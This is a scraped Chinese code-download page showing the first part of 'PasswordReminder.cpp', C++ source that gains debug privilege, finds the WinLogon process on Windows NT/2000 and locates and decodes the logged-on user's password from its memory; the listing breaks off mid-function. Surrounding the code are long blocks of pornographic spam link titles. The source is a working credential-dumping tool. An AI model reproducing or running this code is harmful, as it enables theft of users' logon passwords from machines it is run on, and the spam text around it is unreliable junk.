亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? passwordreminder.cpp

?? PasswordReminder希望能通過 急需貴站的資源做題目
?? CPP
?? 第 1 頁 / 共 2 頁
字號:
// PasswordReminder.cpp
//
// This code is licensed under the terms of the GPL (gnu public license).
//

#include <windows.h>
#include <tchar.h>
#include <stdio.h>

typedef struct _UNICODE_STRING 
{
	USHORT Length;
	USHORT MaximumLength;
	PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

// Undocumented typedef's
typedef struct _QUERY_SYSTEM_INFORMATION
{
	DWORD GrantedAccess;
	DWORD PID;
	WORD HandleType;
	WORD HandleId;
	DWORD Handle;
} QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION;
typedef struct _PROCESS_INFO_HEADER
{
	DWORD Count;
	DWORD Unk04;
	DWORD Unk08;
} PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER;
typedef struct _PROCESS_INFO
{
	DWORD LoadAddress;
	DWORD Size;
	DWORD Unk08;
	DWORD Enumerator;
	DWORD Unk10;
	char Name [0x108];
} PROCESS_INFO, *PPROCESS_INFO;
typedef struct _ENCODED_PASSWORD_INFO
{
	DWORD HashByte;
	DWORD Unk04;
	DWORD Unk08;
	DWORD Unk0C;
	FILETIME LoggedOn;
	DWORD Unk18;
	DWORD Unk1C;
	DWORD Unk20;
	DWORD Unk24;
	DWORD Unk28;
	UNICODE_STRING EncodedPassword;
} ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO;

typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION)  (DWORD, PVOID, DWORD, PDWORD);
typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD);
typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID);
typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID);
typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING)  (BYTE, PUNICODE_STRING);

// Private Prototypes
BOOL IsWinNT (void);
BOOL IsWin2K (void);
BOOL AddDebugPrivilege (void);
DWORD FindWinLogon (void);
BOOL LocatePasswordPageWinNT (DWORD, PDWORD);
BOOL LocatePasswordPageWin2K (DWORD, PDWORD);
void DisplayPasswordWinNT (void);
void DisplayPasswordWin2K (void);

// Global Variables
PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation;
PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer;
PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation;
PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer;
PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString;

DWORD PasswordLength = 0;
PVOID RealPasswordP = NULL;
PVOID PasswordP = NULL;
DWORD HashByte = 0;
wchar_t UserName [0x400];
wchar_t UserDomain [0x400];

int __cdecl 
	main
		(int argc, 
		char* argv[])
{
	printf ("\n\tPasswordReminder\n\n");
	if ((!IsWinNT ())
			&&
		(!IsWin2K ()))
	{
		printf ("Windows NT or Windows 2000 are required.\n");
		return (0);
	}

	// Add debug privilege to PasswordReminder - 
	// this is needed for the search for Winlogon.
	if (!AddDebugPrivilege ())
	{
		printf 
			("Unable to add debug privilege.\n");
		return (0);
	}
	printf ("The debug privilege has been added to PasswordReminder.\n");

	HINSTANCE hNtDll = 
		LoadLibrary 
			("NTDLL.DLL");
	pfnNtQuerySystemInformation =
		(PFNNTQUERYSYSTEMINFORMATION) GetProcAddress 
			(hNtDll, 
			"NtQuerySystemInformation");
	pfnRtlCreateQueryDebugBuffer =
		(PFNRTLCREATEQUERYDEBUGBUFFER) GetProcAddress 
			(hNtDll, 
			"RtlCreateQueryDebugBuffer");
	pfnRtlQueryProcessDebugInformation =
		(PFNRTLQUERYPROCESSDEBUGINFORMATION) GetProcAddress 
			(hNtDll, 
			"RtlQueryProcessDebugInformation");
	pfnRtlDestroyQueryDebugBuffer =
		(PFNRTLDESTROYQUERYDEBUGBUFFER) GetProcAddress 
			(hNtDll, 
			"RtlDestroyQueryDebugBuffer");
	pfnRtlRunDecodeUnicodeString =
		(PFNTRTLRUNDECODEUNICODESTRING) GetProcAddress 
			(hNtDll, 
			"RtlRunDecodeUnicodeString");

	// Locate WinLogon's PID - need debug privilege and admin rights.
	DWORD WinLogonPID =
		FindWinLogon ();
	if (WinLogonPID == 0)
	{
		printf 
			("PasswordReminder is unable to find WinLogon or you are using NWGINA.DLL.\n");
		printf 
			("PasswordReminder is unable to find the password in memory.\n");
		FreeLibrary 
			(hNtDll);
		return (0);
	}
	printf 
		("The WinLogon process id is %d (0x%8.8lx).\n", 
		WinLogonPID, 
		WinLogonPID);

	// Set values to check memory block against.
	memset 
		(UserName, 
		0, 
		sizeof (UserName));
	memset 
		(UserDomain, 
		0, 
		sizeof (UserDomain));
	GetEnvironmentVariableW 
		(L"USERNAME", 
		UserName, 
		0x400);
	GetEnvironmentVariableW 
		(L"USERDOMAIN", 
		UserDomain, 
		0x400);

	// Locate the block of memory containing 
	// the password in WinLogon's memory space.
	BOOL FoundPasswordPage = FALSE;
	if (IsWin2K ())
		FoundPasswordPage =
			LocatePasswordPageWin2K 
				(WinLogonPID, 
				&PasswordLength);
	else
		FoundPasswordPage =
			LocatePasswordPageWinNT 
				(WinLogonPID, 
				&PasswordLength);

	if (FoundPasswordPage)
	{
		if (PasswordLength == 0)
		{
			printf 
				("The logon information is: %S/%S.\n", 
				UserDomain, 
				UserName);
			printf 
				("There is no password.\n");
		}
		else
		{
			printf 
				("The encoded password is found at 0x%8.8lx and has a length of %d.\n", 
				RealPasswordP, 
				PasswordLength);
			// Decode the password string.
			if (IsWin2K ())
				DisplayPasswordWin2K ();
			else
				DisplayPasswordWinNT ();
		}
	}
	else
		printf 
			("PasswordReminder is unable to find the password in memory.\n");

	FreeLibrary 
		(hNtDll);
	return (0);
} // main

BOOL
	IsWinNT
		(void)
{
	OSVERSIONINFO OSVersionInfo;
	OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
	if (GetVersionEx 
			(&OSVersionInfo))
		return (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT);
	else
		return (FALSE);
} // IsWinNT

BOOL
	IsWin2K
		(void)
{
	OSVERSIONINFO OSVersionInfo;
	OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
	if (GetVersionEx 
			(&OSVersionInfo))
		return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT)
					&&
				(OSVersionInfo.dwMajorVersion == 5));
	else
		return (FALSE);
} // IsWin2K

BOOL 
	AddDebugPrivilege 
		(void)
{
	HANDLE Token;
	TOKEN_PRIVILEGES TokenPrivileges, PreviousState;
	DWORD ReturnLength = 0;
	if (OpenProcessToken 
			(GetCurrentProcess (), 
			TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, 
			&Token))
		if (LookupPrivilegeValue 
				(NULL, 
				"SeDebugPrivilege", 
				&TokenPrivileges.Privileges[0].Luid))
		{
			TokenPrivileges.PrivilegeCount = 1;
			TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
			return 
				(AdjustTokenPrivileges
					(Token,
					FALSE,
					&TokenPrivileges,
					sizeof (TOKEN_PRIVILEGES),
					&PreviousState,
					&ReturnLength));
		}
	return (FALSE);
} // AddDebugPrivilege

// Note that the following code eliminates the need
// for PSAPI.DLL as part of the executable.
DWORD 
	FindWinLogon 
		(void)
{
#define INITIAL_ALLOCATION 0x100
	DWORD rc = 0;
	DWORD SizeNeeded = 0;
	PVOID InfoP = 
		HeapAlloc 
			(GetProcessHeap (),
			HEAP_ZERO_MEMORY,
			INITIAL_ALLOCATION);
	// Find how much memory is required.
	pfnNtQuerySystemInformation 
		(0x10, 
		InfoP, 
		INITIAL_ALLOCATION, 
		&SizeNeeded);
	HeapFree 
		(GetProcessHeap (),
		0,
		InfoP);
	// Now, allocate the proper amount of memory.
	InfoP = 
		HeapAlloc 
			(GetProcessHeap (),
			HEAP_ZERO_MEMORY,
			SizeNeeded);
	DWORD SizeWritten = SizeNeeded;
	if (pfnNtQuerySystemInformation 
			(0x10, 
			InfoP, 
			SizeNeeded, 
			&SizeWritten))
	{
		HeapFree 
			(GetProcessHeap (),
			0,
			InfoP);
		return (0);
	}
	DWORD NumHandles = SizeWritten / sizeof (QUERY_SYSTEM_INFORMATION);
	if (NumHandles == 0)
	{
		HeapFree 
			(GetProcessHeap (),
			0,
			InfoP);
		return (0);
	}
	PQUERY_SYSTEM_INFORMATION QuerySystemInformationP =
		(PQUERY_SYSTEM_INFORMATION) InfoP;
	DWORD i;
	for (i = 1; i <= NumHandles; i++)
	{
		// "5" is the value of a kernel object type process.
		if (QuerySystemInformationP->HandleType == 5)
		{
			PVOID DebugBufferP =
				pfnRtlCreateQueryDebugBuffer 
					(0, 
					0);
			if (pfnRtlQueryProcessDebugInformation 
					(QuerySystemInformationP->PID,
					1,
					DebugBufferP) == 0)
			{
				PPROCESS_INFO_HEADER ProcessInfoHeaderP =
					(PPROCESS_INFO_HEADER) ((DWORD) DebugBufferP + 0x60);
				DWORD Count =
					ProcessInfoHeaderP->Count;
				PPROCESS_INFO ProcessInfoP =
					(PPROCESS_INFO) ((DWORD) ProcessInfoHeaderP + sizeof (PROCESS_INFO_HEADER));
				if (strstr (_strupr (ProcessInfoP->Name), "WINLOGON") != 0)
				{
					DWORD i;
					DWORD dw = (DWORD) ProcessInfoP;

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
www.亚洲激情.com| 亚洲乱码日产精品bd | 中文字幕的久久| 欧美成人精品1314www| 91精品国产综合久久精品app| 色婷婷久久久亚洲一区二区三区 | 亚洲bt欧美bt精品777| 一区二区三区四区蜜桃| 亚洲精品日韩一| 亚洲一区二区三区四区五区中文| 日韩久久一区二区| 亚洲与欧洲av电影| 日日夜夜一区二区| 日韩中文字幕不卡| 人禽交欧美网站| 久久99精品一区二区三区三区| 日本不卡123| 国产呦精品一区二区三区网站| 国产盗摄女厕一区二区三区| 99视频在线观看一区三区| 成人激情av网| 欧美色图第一页| 日韩美女一区二区三区四区| 国产日韩欧美不卡在线| 国产精品国产三级国产普通话99| 亚洲欧美日韩国产另类专区| 婷婷中文字幕一区三区| 国内精品伊人久久久久影院对白| 成人免费视频国产在线观看| 91国产福利在线| www久久精品| 亚洲免费av在线| 激情深爱一区二区| 99国产麻豆精品| 欧美一级日韩一级| 国产精品麻豆欧美日韩ww| 亚洲图片有声小说| 国产一区在线观看视频| 91蜜桃婷婷狠狠久久综合9色| 欧美电影在哪看比较好| 欧美韩国日本不卡| 日韩中文字幕麻豆| 91亚洲精品久久久蜜桃| 日韩欧美成人激情| 亚洲精品综合在线| 国产精品456露脸| 欧美美女一区二区| 中文字幕日韩精品一区| 精品亚洲欧美一区| 欧美日韩成人在线| 91精品综合久久久久久| 一级中文字幕一区二区| 日韩一级完整毛片| 国产成人精品一区二区三区网站观看| 国产色产综合色产在线视频| 成人av第一页| 偷偷要91色婷婷| 精品国产乱码久久| 本田岬高潮一区二区三区| 亚洲欧美韩国综合色| 欧美高清精品3d| 国产美女娇喘av呻吟久久 | 欧美日韩美女一区二区| 免费欧美日韩国产三级电影| 欧美日韩亚洲综合一区| 亚洲精品国产精华液| 日韩免费看网站| 国产美女精品人人做人人爽| 亚洲视频电影在线| 3d成人h动漫网站入口| 国产精品亚洲а∨天堂免在线| 国产精品理伦片| 欧美日韩国产另类不卡| 国产精品一二二区| 婷婷一区二区三区| 国产精品人人做人人爽人人添| 欧美一级片在线看| 成人avav影音| 美女国产一区二区三区| 国产精品伦一区| 日韩欧美激情一区| 色婷婷久久久亚洲一区二区三区 | 亚洲一区二区三区四区在线免费观看| 在线91免费看| 成人精品一区二区三区中文字幕| 五月天激情综合| 亚洲欧洲日产国码二区| 精品久久人人做人人爰| 欧美日韩亚洲高清一区二区| 国产v综合v亚洲欧| 日韩和欧美一区二区三区| 国产精品国产三级国产普通话三级| 91麻豆精品国产91久久久资源速度 | 91女人视频在线观看| 日韩一区二区三区免费看| 美脚の诱脚舐め脚责91 | 欧美一级黄色录像| 国产又粗又猛又爽又黄91精品| 欧美激情在线一区二区| 色素色在线综合| 日产国产高清一区二区三区| 日韩一区二区三区在线视频| 福利视频网站一区二区三区| 成人欧美一区二区三区1314| 欧美日韩国产中文| 国产一区二区三区免费| 日韩一区日韩二区| 日韩欧美自拍偷拍| www.日韩av| 久久99这里只有精品| 1024精品合集| 欧美精品一区二区精品网| 91在线高清观看| 久久99久久久久久久久久久| 自拍偷在线精品自拍偷无码专区 | 国产成人在线观看| 亚洲高清视频中文字幕| 国产清纯白嫩初高生在线观看91| 欧美这里有精品| 国产91在线看| 蜜臀av亚洲一区中文字幕| 亚洲图片另类小说| 国产日韩欧美麻豆| 欧美一级理论性理论a| 在线视频你懂得一区| 国产风韵犹存在线视精品| 奇米777欧美一区二区| 国产精品国产三级国产有无不卡 | 欧美无砖专区一中文字| 国产成人亚洲综合a∨婷婷图片| 亚洲电影欧美电影有声小说| 国产精品美女久久久久久久久| 欧美精品色一区二区三区| 91香蕉视频黄| 国产69精品久久99不卡| 久久精品99久久久| 日韩不卡手机在线v区| 亚洲一区自拍偷拍| 亚洲另类在线制服丝袜| 国产精品视频线看| 久久久欧美精品sm网站| 日韩一区二区麻豆国产| 777xxx欧美| 欧美日韩国产一级片| 欧美视频一区在线| 欧美吞精做爰啪啪高潮| 在线观看日产精品| 在线观看日韩毛片| 欧美三级电影一区| 欧美亚洲综合另类| 欧美日韩在线三级| 欧美放荡的少妇| 欧美最新大片在线看 | 视频一区二区欧美| 午夜影院久久久| 亚洲国产综合在线| 亚洲第一在线综合网站| 午夜精品福利一区二区三区av | 99久久综合国产精品| 成人精品鲁一区一区二区| 成人小视频在线| 99re6这里只有精品视频在线观看 99re8在线精品视频免费播放 | 欧美色图12p| 欧美一级艳片视频免费观看| 日韩一级二级三级| 久久精品欧美一区二区三区不卡| 精品99999| 国产精品伦一区二区三级视频| 色婷婷综合激情| 国产欧美一区二区精品忘忧草| 亚洲aⅴ怡春院| 91免费在线视频观看| 久久丝袜美腿综合| 奇米影视在线99精品| 色视频成人在线观看免| 国产性天天综合网| 青青草91视频| 欧美日韩一区二区三区在线| 国产精品国产三级国产普通话蜜臀| 久久精品国产秦先生| 欧美日韩中文字幕一区| 亚洲乱码精品一二三四区日韩在线| 韩国三级电影一区二区| 91精品国产91久久久久久一区二区| 亚洲三级在线免费观看| 国产风韵犹存在线视精品| 精品国精品自拍自在线| 国产河南妇女毛片精品久久久| 91精品国产麻豆国产自产在线 | 蜜桃久久久久久久| 欧美三区免费完整视频在线观看| 国产精品美女久久久久久2018| 国产在线不卡视频| 精品对白一区国产伦| 精品中文av资源站在线观看| 日韩一区和二区| 裸体一区二区三区| 日韩精品中文字幕在线一区| 午夜精品一区二区三区三上悠亚| 欧美视频第二页|